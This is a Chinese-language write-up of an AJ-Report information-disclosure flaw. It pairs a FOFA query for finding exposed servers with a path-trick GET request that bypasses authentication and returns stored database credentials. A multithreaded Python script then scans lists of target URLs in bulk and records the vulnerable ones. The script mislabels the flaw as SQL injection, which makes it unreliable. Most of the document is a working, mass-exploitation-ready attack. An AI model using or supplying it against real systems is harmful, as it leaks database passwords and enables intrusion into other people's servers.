1.语法查询
fofa:
title="aj-report" |
2.漏洞成因
- 在
com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList
中,直接查询dataSource
的信息,并将Dto
信息直接返回,这可能导致信息泄露。 Dto
中存在Collections
集合,直接将配置信息返回,可能导致敏感信息(如数据库账号密码)泄露。- 通过构造特定的GET请求,可以利用此漏洞获取数据库账号密码。
3.漏洞复现
POC:
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Connection: close Accept-Encoding: gzip |
4.检测脚本
import requests import argparse from concurrent.futures import ThreadPoolExecutor, as_completed # 创建解析器 parser = argparse.ArgumentParser(description='Aj-Report Sql insertion test') # 添加参数 parser.add_argument('-u', '--url', type=str, help='目标网址') parser.add_argument('-f', '--file', type=str, help='网址文件') parser.add_argument('-t', '--threads', type=int, default=5, help='线程数,默认为5') def poc_attack(url): headers = { "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15", "connection": "close", "accept-encoding": "gzip" } attack_url = url + "/;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10" try: response = requests.get(url=attack_url, headers=headers, timeout=10) if response.status_code == 200 and "操作成功" in response.text: print(attack_url + "存在aj-report sql注入漏洞") with open("vuln_urls.txt", "a") as file: file.write(attack_url + "\n") else: print(attack_url + "不存在aj-report sql注入漏洞") except requests.exceptions.Timeout: print(f"URL: {attack_url} 请求超时,跳过...") except requests.exceptions.RequestException as e: print(f"URL: {attack_url} 请求出错:", e) if __name__ == "__main__": args = parser.parse_args() urls = [] if args.url: urls.append(args.url) elif args.file: with open(args.file, 'r') as file: urls.extend(file.read().splitlines()) with ThreadPoolExecutor(max_workers=args.threads) as executor: future_to_url = {executor.submit(poc_attack, url): url for url in urls} for future in as_completed(future_to_url): url = future_to_url[future] try: future.result() except Exception as e: print(f"处理 {url} 时出错:", e) |